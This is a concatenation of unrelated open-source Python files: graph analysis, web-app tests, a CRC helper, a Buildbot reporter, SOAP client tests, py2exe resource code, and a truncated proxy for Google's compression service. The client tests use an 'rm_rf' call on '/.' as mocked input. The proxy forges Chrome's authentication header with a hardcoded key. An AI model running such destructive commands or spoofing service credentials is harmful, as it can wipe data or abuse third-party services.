twitter.add_edge('Jackie', 'Glenn', {'Weight': 1})
twitter.add_edge('Jackie', 'Skye', {'Weight': 1})
twitter.add_edge('Tom', 'Rachel', {'Weight': 5})
twitter.add_edge('Rachel', 'Bart', {'Weight': 1})
twitter.add_edge('Tom', 'Bart', {'Weight': 2})
twitter.add_edge('Jack', 'Skye', {'Weight': 1})
twitter.add_edge('Bart', 'Skye', {'Weight': 1})
twitter.add_edge('Rachel', 'Skye', {'Weight': 1})
twitter.add_edge('Greg', 'Bob', {'Weight': 1})
twitter.add_edge('Peter', 'Greg', {'Weight': 1})
twitter.add_edge('Lester', 'Matt', {'Weight': 1})
twitter.add_edge('Max', 'Matt', {'Weight': 1})
twitter.add_edge('Rachel', 'Linda', {'Weight': 1})
twitter.add_edge('Tom', 'Linda', {'Weight': 1})
twitter.add_edge('Bart', 'Greg', {'Weight': 2})
twitter.add_edge('Tom', 'Greg', {'Weight': 2})
twitter.add_edge('Peter', 'Lester', {'Weight': 2})
twitter.add_edge('Tom', 'Mike', {'Weight': 1})
twitter.add_edge('Rachel', 'Mike', {'Weight': 1})
twitter.add_edge('Rachel', 'Glenn', {'Weight': 1})
twitter.add_edge('Lester', 'Max', {'Weight': 1})
twitter.add_edge('Matt', 'Peter', {'Weight': 1})
# add relationship
twitter['Rob']['Rory']['relationship'] = 'friend'
twitter['Markus']['Rory']['relationship'] = 'friend'
twitter['Markus']['Rob']['relationship'] = 'spouse'
twitter['Mike']['Rory']['relationship'] = 'friend'
twitter['Mike']['Rob']['relationship'] = 'friend'
twitter['Mike']['Markus']['relationship'] = 'friend'
twitter['Mike']['Linda']['relationship'] = 'spouse'
twitter['Alex']['Rob']['relationship'] = 'friend'
twitter['Alex']['Markus']['relationship'] = 'friend'
twitter['Alex']['Mike']['relationship'] = 'friend'
twitter['Glenn']['Rory']['relationship'] = 'friend'
twitter['Glenn']['Rob']['relationship'] = 'friend'
twitter['Glenn']['Markus']['relationship'] = 'friend'
twitter['Glenn']['Linda']['relationship'] = 'sibling'
twitter['Glenn']['Mike']['relationship'] = 'friend'
twitter['Glenn']['Alex']['relationship'] = 'friend'
twitter['Richard']['Rob']['relationship'] = 'friend'
twitter['Richard']['Linda']['relationship'] = 'friend'
twitter['Richard']['Mike']['relationship'] = 'friend'
twitter['Richard']['Alex']['relationship'] = 'friend'
twitter['Richard']['Glenn']['relationship'] = 'friend'
twitter['Jackie']['Linda']['relationship'] = 'friend'
twitter['Jackie']['Mike']['relationship'] = 'friend'
twitter['Jackie']['Glenn']['relationship'] = 'friend'
twitter['Jackie']['Skye']['relationship'] = 'friend'
twitter['Tom']['Rachel']['relationship'] = 'spouse'
twitter['Rachel']['Bart']['relationship'] = 'friend'
twitter['Tom']['Bart']['relationship'] = 'sibling'
twitter['Jack']['Skye']['relationship'] = 'friend'
twitter['Bart']['Skye']['relationship'] = 'friend'
twitter['Rachel']['Skye']['relationship'] = 'friend'
twitter['Greg']['Bob']['relationship'] = 'friend'
twitter['Peter']['Greg']['relationship'] = 'friend'
twitter['Lester']['Matt']['relationship'] = 'friend'
twitter['Max']['Matt']['relationship'] = 'friend'
twitter['Rachel']['Linda']['relationship'] = 'friend'
twitter['Tom']['Linda']['relationship'] = 'friend'
twitter['Bart']['Greg']['relationship'] = 'sibling'
twitter['Tom']['Greg']['relationship'] = 'sibling'
twitter['Peter']['Lester']['relationship'] = 'generation'
twitter['Tom']['Mike']['relationship'] = 'friend'
twitter['Rachel']['Mike']['relationship'] = 'friend'
twitter['Rachel']['Glenn']['relationship'] = 'friend'
twitter['Lester']['Max']['relationship'] = 'friend'
twitter['Matt']['Peter']['relationship'] = 'friend'
# print nodes
print('\nJust nodes: ', twitter.nodes())
print('\nNodes with data: ', twitter.nodes(data=True))
# print edges
print('\nEdges with data: ', twitter.edges(data=True))
# graph's density and centrality
print('\nDensity of the graph: ', nx.density(twitter))
centrality = sorted(
alg.centrality.degree_centrality(twitter).items(),
key=lambda e: e[1], reverse=True)
print('\nCentrality of nodes: ', centrality)
average_degree = sorted(
alg.assortativity.average_neighbor_degree(twitter)\
.items(), key=lambda e: e[1], reverse=True)
print('\nAverage degree: ', average_degree)
print(len(twitter['Glenn']) / 19)
# draw the graph
nx.draw_networkx(twitter)
plt.savefig('../../Data/Chapter08/twitter_networkx.png')
# save graph
nx.write_graphml(twitter,
'../../Data/Chapter08/twitter.graphml')
|
drabastomek/practicalDataAnalysisCookbook
|
Codes/Chapter08/graph_handling.py
|
Python
|
gpl-2.0
| 7,099
|
# -*- coding: utf-8 -*-
"""Test suite for the TG app's models"""
from __future__ import unicode_literals
from nose.tools import eq_
from wiki20 import model
from wiki20.tests.models import ModelTest
class TestGroup(ModelTest):
"""Unit test case for the ``Group`` model."""
klass = model.Group
attrs = dict(
group_name = "test_group",
display_name = "Test Group"
)
class TestUser(ModelTest):
"""Unit test case for the ``User`` model."""
klass = model.User
attrs = dict(
user_name = "ignucius",
email_address = "ignucius@example.org"
)
def test_obj_creation_username(self):
"""The obj constructor must set the user name right"""
eq_(self.obj.user_name, "ignucius")
def test_obj_creation_email(self):
"""The obj constructor must set the email right"""
eq_(self.obj.email_address, "ignucius@example.org")
def test_no_permissions_by_default(self):
"""User objects should have no permission by default."""
eq_(len(self.obj.permissions), 0)
def test_getting_by_email(self):
"""Users should be fetcheable by their email addresses"""
him = model.User.by_email_address("ignucius@example.org")
eq_(him, self.obj)
class TestPermission(ModelTest):
"""Unit test case for the ``Permission`` model."""
klass = model.Permission
attrs = dict(
permission_name = "test_permission",
description = "This is a test Description"
)
|
txdywy/wiki20
|
wiki20/tests/models/test_auth.py
|
Python
|
gpl-2.0
| 1,523
|
from django.core.serializers import json
from django.http import HttpResponseNotFound, HttpResponse
from django.views.generic import View
from rest_test_data.models import Simple
from rest_test_data.views import BaseTestDataRestView
from nose.tools import assert_equal, assert_is_instance
from mock import Mock, patch
def create_request(body=None):
request = Mock()
request.body = body
return request
def test_dispatch_model_not_found():
view = BaseTestDataRestView()
result = view.dispatch(None, app='something', model='notfoundmodel')
assert_is_instance(result, HttpResponseNotFound)
@patch.object(View, 'dispatch')
def test_dispatch_model_found(dispatch):
dispatch.return_value = ''
view = BaseTestDataRestView()
view.dispatch(create_request(), app='rest_test_data', model='simple')
assert_equal(view.model, Simple)
assert_equal(dispatch.call_count, 1)
@patch.object(BaseTestDataRestView, 'get_object')
@patch.object(View, 'dispatch')
def test_dispatch_get_object(dispatch, get_object):
dispatch.return_value = ''
view = BaseTestDataRestView()
result = view.dispatch(
create_request(),
app='rest_test_data',
model='simple',
pk='1'
)
get_object.assert_called_once_with(1, model=Simple)
assert_is_instance(result, HttpResponse)
assert_equal(dispatch.call_count, 1)
@patch.object(BaseTestDataRestView, 'get_object')
def test_dispatch_get_object_failure(get_object):
get_object.side_effect = Exception
view = BaseTestDataRestView()
result = view.dispatch(None, app='rest_test_data', model='simple', pk='1')
get_object.assert_called_once_with(1, model=Simple)
assert_is_instance(result, HttpResponseNotFound)
def test_get_serializer():
view = BaseTestDataRestView()
assert_is_instance(view.serializer, json.Serializer)
@patch.object(View, 'dispatch')
def test_dispatch_wraps_string_result(dispatch):
dispatch.return_value = 'result!'
view = BaseTestDataRestView()
result = view.dispatch(
create_request(),
app='rest_test_data',
model='simple'
)
assert_is_instance(result, HttpResponse)
assert_equal(result['Content-Type'], 'application/json')
assert_equal(result.content, b'result!')
@patch.object(View, 'dispatch')
def test_dispatch_passes_http_response(dispatch):
dispatch.return_value = HttpResponse()
view = BaseTestDataRestView()
result = view.dispatch(
create_request(),
app='rest_test_data',
model='simple'
)
assert_equal(result, dispatch.return_value)
@patch.object(View, 'dispatch')
def test_dispatch_jsons_other(dispatch):
dispatch.return_value = {'test': 'data'}
view = BaseTestDataRestView()
result = view.dispatch(
create_request(),
app='rest_test_data',
model='simple'
)
assert_is_instance(result, HttpResponse)
assert_equal(result['Content-Type'], 'application/json')
assert_equal(result.content, b'{"test": "data"}')
def test_get_object_model():
model = Mock(**{'objects.get.return_value': 'object'})
assert_equal(BaseTestDataRestView.get_object(1, model), 'object')
model.objects.get.assert_called_once_with(pk=1)
@patch('rest_test_data.views.get_model')
def test_get_object_from_string(get_model):
BaseTestDataRestView.get_object('app.model:1')
get_model.assert_called_once_with('app', 'model')
get_model().objects.get.assert_called_once_with(pk=1)
@patch.object(BaseTestDataRestView, 'get_object')
def test_get_data(get_object):
result = BaseTestDataRestView.get_data({'data': {'test': 1},
'objects': {
'test_2': 'app.model:1',
'test_3': ['app.model:1'],
}})
get_object.assert_called_with('app.model:1')
assert_equal(result, {
'test': 1,
'test_2': get_object(),
'test_3': [get_object()]
})
|
hogarthww/django-rest-test-data
|
rest_test_data/tests/test_base.py
|
Python
|
gpl-2.0
| 4,061
|
__author__ = 'mark'
# StarinetPython3Logger a data logger for the Beaglebone Black.
# Copyright (C) 2015 Mark Horn
#
# This file is part of StarinetPython3Logger.
#
# StarinetPython3Logger is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by the Free
# Software Foundation, either version 2 of the License, or (at your option) any
# later version.
#
# StarinetPython3Logger is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with StarinetPython3Logger. If not, see <http://www.gnu.org/licenses/>.
import crcmod
import logging
import sys
## Set crc16 parameters to polynomial 8408, initial value 0xffff, reversed True, Final XOR value 0x00
crc16 = crcmod.mkCrcFun(0x018408, 0xFFFF, True, 0x0000)
## initialise logger
logger = logging.getLogger('utilities.staribuscCrc')
def checkcrc(buffer0):
logger.debug("Check crc was called.")
buffer0 = buffer0.encode('utf-8')
rxcrc = buffer0[-4:] # assign the received crc to rxcrc
logger.debug("%s %s", "Received data crc - ", rxcrc)
newrxcrc = str(hex(crc16(buffer0[:-4])).replace('x', '')[1:].zfill(4)).upper() # new crc
newrxcrc = newrxcrc.encode('utf-8')
logger.debug("%s %s", "Calculated new crc based on received data -", newrxcrc)
#### Check old and new crc's match if they don't return string with 0200 crc error
if newrxcrc != rxcrc:
logger.debug("%s %s %s %s", "Received crc - ", rxcrc, "does not match our generated crc - ", newrxcrc)
return '0200'
else:
logger.debug("CRC' match")
return '0'
def newcrc(buffer0):
logger.debug("New crc was called.")
buffer0 = buffer0.encode('UTF-8')
datacrc = str(hex(crc16(buffer0)).replace('x', '')[1:].zfill(4)).upper()
value = datacrc
logger.debug("%s %s", "Calculated new message crc -", datacrc)
return value
if __name__ == "__main__":
print(newcrc(str(sys.argv[1:])))
|
mhorn71/StarinetPythonLogger
|
utilities/staribuscrc.py
|
Python
|
gpl-2.0
| 2,214
|
# This file is part of Buildbot. Buildbot is free software: you can
# redistribute it and/or modify it under the terms of the GNU General Public
# License as published by the Free Software Foundation, version 2.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, write to the Free Software Foundation, Inc., 51
# Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# Copyright Buildbot Team Members
from __future__ import absolute_import
from __future__ import print_function
from future.utils import iteritems
import abc
import copy
from twisted.internet import defer
from twisted.python import log
from buildbot import config
from buildbot.reporters import utils
from buildbot.util import httpclientservice
from buildbot.util import service
class HttpStatusPushBase(service.BuildbotService):
neededDetails = dict()
def checkConfig(self, *args, **kwargs):
service.BuildbotService.checkConfig(self)
httpclientservice.HTTPClientService.checkAvailable(self.__class__.__name__)
if not isinstance(kwargs.get('builders'), (type(None), list)):
config.error("builders must be a list or None")
@defer.inlineCallbacks
def reconfigService(self, builders=None, debug=None, verify=None, **kwargs):
yield service.BuildbotService.reconfigService(self)
self.debug = debug
self.verify = verify
self.builders = builders
self.neededDetails = copy.copy(self.neededDetails)
for k, v in iteritems(kwargs):
if k.startswith("want"):
self.neededDetails[k] = v
@defer.inlineCallbacks
def startService(self):
yield service.BuildbotService.startService(self)
startConsuming = self.master.mq.startConsuming
self._buildCompleteConsumer = yield startConsuming(
self.buildFinished,
('builds', None, 'finished'))
self._buildStartedConsumer = yield startConsuming(
self.buildStarted,
('builds', None, 'new'))
def stopService(self):
self._buildCompleteConsumer.stopConsuming()
self._buildStartedConsumer.stopConsuming()
def buildStarted(self, key, build):
return self.getMoreInfoAndSend(build)
def buildFinished(self, key, build):
return self.getMoreInfoAndSend(build)
def filterBuilds(self, build):
if self.builders is not None:
return build['builder']['name'] in self.builders
return True
@defer.inlineCallbacks
def getMoreInfoAndSend(self, build):
yield utils.getDetailsForBuild(self.master, build, **self.neededDetails)
if self.filterBuilds(build):
yield self.send(build)
@abc.abstractmethod
def send(self, build):
pass
class HttpStatusPush(HttpStatusPushBase):
name = "HttpStatusPush"
secrets = ['user', 'password', "auth"]
def checkConfig(self, serverUrl, user=None, password=None, auth=None, format_fn=None, **kwargs):
if user is not None and auth is not None:
config.error("Only one of user/password or auth must be given")
if user is not None:
config.warnDeprecated("0.9.1", "user/password is deprecated, use 'auth=(user, password)'")
if (format_fn is not None) and not callable(format_fn):
config.error("format_fn must be a function")
HttpStatusPushBase.checkConfig(self, **kwargs)
@defer.inlineCallbacks
def reconfigService(self, serverUrl, user=None, password=None, auth=None, format_fn=None, **kwargs):
yield HttpStatusPushBase.reconfigService(self, **kwargs)
if user is not None:
auth = (user, password)
if format_fn is None:
self.format_fn = lambda x: x
else:
self.format_fn = format_fn
self._http = yield httpclientservice.HTTPClientService.getService(
self.master, serverUrl, auth=auth)
@defer.inlineCallbacks
def send(self, build):
response = yield self._http.post("", json=self.format_fn(build))
if response.code != 200:
log.msg("%s: unable to upload status: %s" %
(response.code, response.content))
|
seankelly/buildbot
|
master/buildbot/reporters/http.py
|
Python
|
gpl-2.0
| 4,489
|
from time import time
import unittest
from unittest.mock import patch, Mock
from urllib.error import URLError
from suds import WebFault
from ..exceptions import (
ConnectError, ServiceError, ApiLimitError, AccountFault, TableFault, ListFault)
from .. import client
class InteractClientTests(unittest.TestCase):
""" Test InteractClient """
def setUp(self):
self.client = Mock()
self.configuration = {
'username': 'username',
'password': 'password',
'pod': 'pod',
'client': self.client,
}
self.interact = client.InteractClient(**self.configuration)
def test_starts_disconnected(self):
self.assertFalse(self.interact.connected)
@patch.object(client, 'time')
def test_connected_property_returns_time_of_connection_after_successful_connect(self, mtime):
mtime.return_value = connection_time = time()
self.interact.connect()
self.assertEqual(self.interact.connected, connection_time)
@patch.object(client, 'time')
@patch.object(client.InteractClient, 'login')
def test_session_property_returns_session_id_and_start_after_successful_connect(
self, login, mtime):
mtime.return_value = session_start = time()
session_id = "session_id"
login.return_value = Mock(session_id=session_id)
self.interact.connect()
self.assertEqual(self.interact.session, (session_id, session_start))
@patch.object(client.InteractClient, 'login')
def test_connect_reuses_session_if_possible_and_does_not_login(
self, login):
self.interact.session = "session_id"
self.interact.connect()
self.assertFalse(login.called)
@patch.object(client.InteractClient, 'login')
def test_connect_gets_new_session_if_session_is_expired(self, login):
self.interact.connect()
self.interact.disconnect()
self.interact.session_lifetime = -1
self.interact.connect()
self.assertEqual(login.call_count, 2)
def test_connected_property_returns_false_after_disconnect(self):
self.interact.disconnect()
self.assertFalse(self.interact.connected)
def test_client_property_returns_configured_client(self):
self.assertEqual(self.interact.client, self.client)
def test_call_method_calls_soap_method_with_passed_arguments(self):
self.interact.call('somemethod', 'arg')
self.client.service.somemethod.assert_called_with('arg')
def test_call_method_returns_soap_method_return_value(self):
self.client.service.bananas.return_value = 1
self.assertEqual(self.interact.call('bananas'), 1)
def test_call_method_raises_ConnectError_for_url_timeout(self):
self.client.service.rm_rf.side_effect = URLError('Timeout')
with self.assertRaises(ConnectError):
self.interact.call('rm_rf', '/.')
def test_call_method_raises_ServiceError_for_unhandled_webfault(self):
self.client.service.rm_rf.side_effect = WebFault(Mock(), Mock())
with self.assertRaises(ServiceError):
self.interact.call('rm_rf', '/.')
def test_call_method_raises_ListFault_for_list_fault_exception_from_service(self):
self.client.service.list_thing.side_effect = WebFault(
Mock(faultstring='ListFault'), Mock())
with self.assertRaises(ListFault):
self.interact.call('list_thing')
def test_call_method_raises_ApiLimitError_for_rate_limit_exception_from_service(self):
self.client.service.rm_rf.side_effect = WebFault(
Mock(faultstring='API_LIMIT_EXCEEDED'), Mock())
with self.assertRaises(ApiLimitError):
self.interact.call('rm_rf', '/.')
def test_call_method_raises_TableFault_for_table_fault_exception_from_service(self):
self.client.service.give_me_a_table.side_effect = WebFault(
Mock(faultstring='TableFault'), Mock())
with self.assertRaises(TableFault):
self.interact.call('give_me_a_table', 'awesome_table')
@patch.object(client.InteractClient, 'WSDLS', {'pod': 'pod_wsdl'})
def test_wsdl_property_returns_correct_value(self):
self.assertEqual(self.interact.wsdl, 'pod_wsdl')
@patch.object(client.InteractClient, 'ENDPOINTS', {'pod': 'pod_endpoint'})
def test_endpoint_property_returns_correct_value(self):
self.assertEqual(self.interact.endpoint, 'pod_endpoint')
@patch.object(client.InteractClient, 'connect', Mock())
def test_entering_context_calls_connect(self):
self.assertFalse(self.interact.connect.called)
with self.interact:
self.assertTrue(self.interact.connect.called)
@patch.object(client.InteractClient, 'disconnect', Mock())
def test_leaving_context_calls_disconnect(self):
with self.interact:
self.assertFalse(self.interact.disconnect.called)
self.assertTrue(self.interact.disconnect.called)
@patch.object(client.InteractClient, 'login')
def test_connect_method_raises_account_fault_on_credential_failure(self, login):
login.side_effect = AccountFault
with self.assertRaises(AccountFault):
self.interact.connect()
@patch.object(client.InteractClient, 'login', Mock(return_value=Mock(sessionId=1)))
def test_connect_method_returns_true_on_success(self):
self.assertTrue(self.interact.connect())
def test_connect_method_sets_soapheaders(self):
soapheaders = Mock()
self.interact.client.factory.create.return_value = soapheaders
self.interact.connect()
self.interact.client.set_options.assert_called_once_with(soapheaders=soapheaders)
@patch.object(client.InteractClient, 'login')
@patch.object(client.InteractClient, 'logout')
def test_connect_abandons_session_if_session_is_expired(self, logout, login):
self.interact.session_lifetime = -1
self.interact.session = session_id = '1234'
self.interact.connect()
logout.assert_called_once_with()
self.assertNotEqual(self.interact.session[0], session_id)
@patch.object(client.InteractClient, 'logout')
def test_disconnect_does_not_logout_if_session_is_available(self, logout):
self.session = 'session_id'
self.interact.disconnect()
self.assertEqual(logout.call_count, 0)
@patch.object(client.InteractClient, 'logout')
def test_disconnect_calls_logout_if_session_is_expired(self, logout):
self.interact.session = 'session_id'
self.interact.session_lifetime = -1
self.interact.disconnect()
self.assertEqual(logout.call_count, 1)
self.assertIsNone(self.interact.session)
@patch.object(client.InteractClient, 'logout')
def test_disconnect_calls_logout_if_abandon_session_is_passed(self, logout):
self.interact.connect()
self.interact.disconnect(abandon_session=True)
self.assertEqual(logout.call_count, 1)
self.assertIsNone(self.interact.session)
|
jslang/responsys
|
responsys/tests/test_client.py
|
Python
|
gpl-2.0
| 7,054
|
# -*- coding: latin-1 -*-
##
## Copyright (c) 2000, 2001, 2002, 2003 Thomas Heller
##
## Permission is hereby granted, free of charge, to any person obtaining
## a copy of this software and associated documentation files (the
## "Software"), to deal in the Software without restriction, including
## without limitation the rights to use, copy, modify, merge, publish,
## distribute, sublicense, and/or sell copies of the Software, and to
## permit persons to whom the Software is furnished to do so, subject to
## the following conditions:
##
## The above copyright notice and this permission notice shall be
## included in all copies or substantial portions of the Software.
##
## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
## LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
## OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
## WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
##
#
# $Id: VersionInfo.py 392 2004-03-12 17:00:21Z theller $
#
# $Log$
# Revision 1.3 2004/01/16 10:45:31 theller
# Move py2exe from the sandbox directory up to the root dir.
#
# Revision 1.3 2003/12/29 13:44:57 theller
# Adapt for Python 2.3.
#
# Revision 1.2 2003/09/18 20:19:57 theller
# Remove a 2.3 warning, but mostly this checkin is to test the brand new
# py2exe-checkins mailing list.
#
# Revision 1.1 2003/08/29 12:30:52 mhammond
# New py2exe now uses the old resource functions :)
#
# Revision 1.1 2002/01/29 09:30:55 theller
# version 0.3.0
#
# Revision 1.2 2002/01/14 19:08:05 theller
# Better (?) Unicode handling.
#
# Revision 1.1 2002/01/07 10:30:32 theller
# Create a version resource.
#
#
import struct
VOS_NT_WINDOWS32 = 0x00040004
VFT_APP = 0x00000001
RT_VERSION = 16
class VersionError(Exception):
pass
def w32_uc(text):
"""convert a string into unicode, then encode it into UTF-16
little endian, ready to use for win32 apis"""
if type(text) is str:
return unicode(text, "unicode-escape").encode("utf-16-le")
return unicode(text).encode("utf-16-le")
class VS_FIXEDFILEINFO:
dwSignature = 0xFEEF04BDL
dwStrucVersion = 0x00010000
dwFileVersionMS = 0x00010000
dwFileVersionLS = 0x00000001
dwProductVersionMS = 0x00010000
dwProductVersionLS = 0x00000001
dwFileFlagsMask = 0x3F
dwFileFlags = 0
dwFileOS = VOS_NT_WINDOWS32
dwFileType = VFT_APP
dwFileSubtype = 0
dwFileDateMS = 0
dwFileDateLS = 0
fmt = "13L"
def __init__(self, version):
import string
version = string.replace(version, ",", ".")
fields = string.split(version + '.0.0.0.0', ".")[:4]
fields = map(string.strip, fields)
try:
self.dwFileVersionMS = int(fields[0]) * 65536 + int(fields[1])
self.dwFileVersionLS = int(fields[2]) * 65536 + int(fields[3])
except ValueError:
raise VersionError, "could not parse version number '%s'" % version
def __str__(self):
return struct.pack(self.fmt,
self.dwSignature,
self.dwStrucVersion,
self.dwFileVersionMS,
self.dwFileVersionLS,
self.dwProductVersionMS,
self.dwProductVersionLS,
self.dwFileFlagsMask,
self.dwFileFlags,
self.dwFileOS,
self.dwFileType,
self.dwFileSubtype,
self.dwFileDateMS,
self.dwFileDateLS)
def align(data):
pad = - len(data) % 4
return data + '\000' * pad
class VS_STRUCT:
items = ()
def __str__(self):
szKey = w32_uc(self.name)
ulen = len(szKey)+2
value = self.get_value()
data = struct.pack("h%ss0i" % ulen, self.wType, szKey) + value
data = align(data)
for item in self.items:
data = data + str(item)
wLength = len(data) + 4 # 4 bytes for wLength and wValueLength
wValueLength = len(value)
return self.pack("hh", wLength, wValueLength, data)
def pack(self, fmt, len, vlen, data):
return struct.pack(fmt, len, vlen) + data
def get_value(self):
return ""
class String(VS_STRUCT):
wType = 1
items = ()
def __init__(self, (name, value)):
self.name = name
if value:
self.value = value + '\000' # strings must be zero terminated
else:
self.value = value
def pack(self, fmt, len, vlen, data):
# ValueLength is measured in WORDS, not in BYTES!
return struct.pack(fmt, len, vlen/2) + data
def get_value(self):
return w32_uc(self.value)
class StringTable(VS_STRUCT):
wType = 1
def __init__(self, name, strings):
self.name = name
self.items = map(String, strings)
class StringFileInfo(VS_STRUCT):
wType = 1
name = "StringFileInfo"
def __init__(self, name, strings):
self.items = [StringTable(name, strings)]
class Var(VS_STRUCT):
# MSDN says:
# If you use the Var structure to list the languages your
# application or DLL supports instead of using multiple version
# resources, use the Value member to contain an array of DWORD
# values indicating the language and code page combinations
# supported by this file. The low-order word of each DWORD must
# contain a Microsoft language identifier, and the high-order word
# must contain the IBM® code page number. Either high-order or
# low-order word can be zero, indicating that the file is language
# or code page independent. If the Var structure is omitted, the
# file will be interpreted as both language and code page
# independent.
wType = 0
name = "Translation"
def __init__(self, value):
self.value = value
def get_value(self):
return struct.pack("l", self.value)
class VarFileInfo(VS_STRUCT):
wType = 1
name = "VarFileInfo"
def __init__(self, *names):
self.items = map(Var, names)
def get_value(self):
return ""
class VS_VERSIONINFO(VS_STRUCT):
wType = 0 # 0: binary data, 1: text data
name = "VS_VERSION_INFO"
def __init__(self, version, items):
self.value = VS_FIXEDFILEINFO(version)
self.items = items
def get_value(self):
return str(self.value)
class Version(object):
def __init__(self,
version,
comments = None,
company_name = None,
file_description = None,
internal_name = None,
legal_copyright = None,
legal_trademarks = None,
original_filename = None,
private_build = None,
product_name = None,
product_version = None,
special_build = None):
self.version = version
strings = []
if comments is not None:
strings.append(("Comments", comments))
if company_name is not None:
strings.append(("CompanyName", company_name))
if file_description is not None:
strings.append(("FileDescription", file_description))
strings.append(("FileVersion", version))
if internal_name is not None:
strings.append(("InternalName", internal_name))
if legal_copyright is not None:
strings.append(("LegalCopyright", legal_copyright))
if legal_trademarks is not None:
strings.append(("LegalTrademarks", legal_trademarks))
if original_filename is not None:
strings.append(("OriginalFilename", original_filename))
if private_build is not None:
strings.append(("PrivateBuild", private_build))
if product_name is not None:
strings.append(("ProductName", product_name))
strings.append(("ProductVersion", product_version or version))
if special_build is not None:
strings.append(("SpecialBuild", special_build))
self.strings = strings
def resource_bytes(self):
vs = VS_VERSIONINFO(self.version,
[StringFileInfo("040904B0",
self.strings),
VarFileInfo(0x04B00409)])
return str(vs)
def test():
import sys
sys.path.append("c:/tmp")
from hexdump import hexdump
version = Version("1, 0, 0, 1",
comments = "ümläut comments",
company_name = "No Company",
file_description = "silly application",
internal_name = "silly",
legal_copyright = u"Copyright © 2003",
## legal_trademark = "",
original_filename = "silly.exe",
private_build = "test build",
product_name = "silly product",
product_version = None,
## special_build = ""
)
hexdump(version.resource_bytes())
if __name__ == '__main__':
import sys
sys.path.append("d:/nbalt/tmp")
from hexdump import hexdump
test()
|
skeenp/Roam
|
libs/py2exe-0.6.9/py2exe/resources/VersionInfo.py
|
Python
|
gpl-2.0
| 9,595
|
#!/usr/bin/env python
#coding:utf-8
# Author: Beining --<cnbeining#gmail.com>
# Purpose: A Chrome DCP handler.
# Created: 07/15/2015
#Original copyright info:
#Author: Xiaoxia
#Contact: xiaoxia@xiaoxia.org
#Website: xiaoxia.org
import sys
import argparse
from threading import Thread, Lock
from struct import unpack
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from httplib import HTTPResponse, HTTPSConnection
from SocketServer import ThreadingMixIn
import socket, os, select
import time, sys, random
import threading
import select
import socket
import ssl
import socket
import urllib2
# Minimize Memory Usage
threading.stack_size(128*1024)
BufferSize = 8192
RemoteTimeout = 15
from hashlib import md5
global PROXY_MODE
PROXY_MODE = 'HTTPS'
#----------------------------------------------------------------------
def get_long_int():
"""None->int
get a looooooong integer."""
return str(random.randint(100000000, 999999999))
#----------------------------------------------------------------------
def get_google_header():
"""None->str
As in https://github.com/cnbeining/datacompressionproxy/blob/master/background.js#L10-L18 .
P.S: This repo is a fork of the original one on google code.
"""
authValue = 'ac4500dd3b7579186c1b0620614fdb1f7d61f944'
timestamp = str(int(time.time()))
return 'ps=' + timestamp + '-' + get_long_int() + '-' + get_long_int() + '-' + get_long_int() + ', sid=' + md5((timestamp + authValue + timestamp).encode('utf-8')).hexdigest() + ', b=2403, p=61, c=win'
#----------------------------------------------------------------------
def check_if_ssl():
"""None->str
Check whether DCP should use HTTPS.
As in https://support.google.com/chrome/answer/3517349?hl=en"""
response = urllib2.urlopen('http://check.googlezip.net/connect')
if response.getcode() is 200 and 'OK' in response.read():
print('INFO: Running in HTTPS mode.')
return 'HTTPS'
else:
print('WARNING: Running in HTTP mode, your network admin can see your traffic!')
return 'HTTP'
class Handler(BaseHTTPRequestHandler):
remote = None
# Ignore Connection Failure
def handle(self):
try:
BaseHTTPRequestHandler.handle(self)
except socket.error: pass
def finish(self):
try:
BaseHTTPRequestHandler.finish(self)
except socket.error: pass
def sogouProxy(self):
if self.headers["Host"].startswith('chrome_dcp_proxy_pac.cnbeining'): #Give a PAC file
self.wfile.write("HTTP/1.1 200 OK".encode('ascii') + b'\r\n')
hstr = '''Host: 127.0.0.1
function FindProxyForURL(url, host) {
if (url.substring(0,5) == 'http:' &&
!isPlainHostName(host) &&
!shExpMatch(host, '*.local') &&
!isInNet(dnsResolve(host), '10.0.0.0', '255.0.0.0') &&
!isInNet(dnsResolve(host), '172.16.0.0', '255.240.0.0') &&
!isInNet(dnsResolve(host), '192.168.0.0', '255.255.0.0') &&
!isInNet(dnsResolve(host), '127.0.0.0', '255.255.255.0') )
return 'PROXY ''' + server_ip + ':' + str(server_port) + '''; DIRECT';
return 'DIRECT';
}'''
self.wfile.write(hstr + b'\r\n')
return
if self.remote is None or self.lastHost != self.headers["Host"]:
if PROXY_MODE == 'HTTPS':
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True
context.load_default_certs()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(RemoteTimeout)
self.remote = context.wrap_socket(s, server_hostname='proxy.googlezip.net')
self.remote.connect(('proxy.googlezip.net', 443))
else: #HTTP
self.remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.remote.settimeout(RemoteTimeout)
self.remote.connect(("compress.googlezip.net", 80))
self.remote.sendall(self.requestline.encode('ascii') + b"\r\n")
# Add Verification Tags
self.headers["Chrome-Proxy"] = get_google_header()
headerstr = str(self.headers).replace("\r\n", "\n").replace("\n", "\r\n")
self.remote.sendall(headerstr.encode('ascii') + b"\r\n")
# Send Post data
if self.command == 'POST':
self.remote.sendall(self.rfile.read(int(self.headers['Content-Length'])))
response = HTTPResponse(self.remote, method=self.command)
response.begin()
# Reply to the browser
status = "HTTP/1.1 " + str(response.status) + " " + response.reason
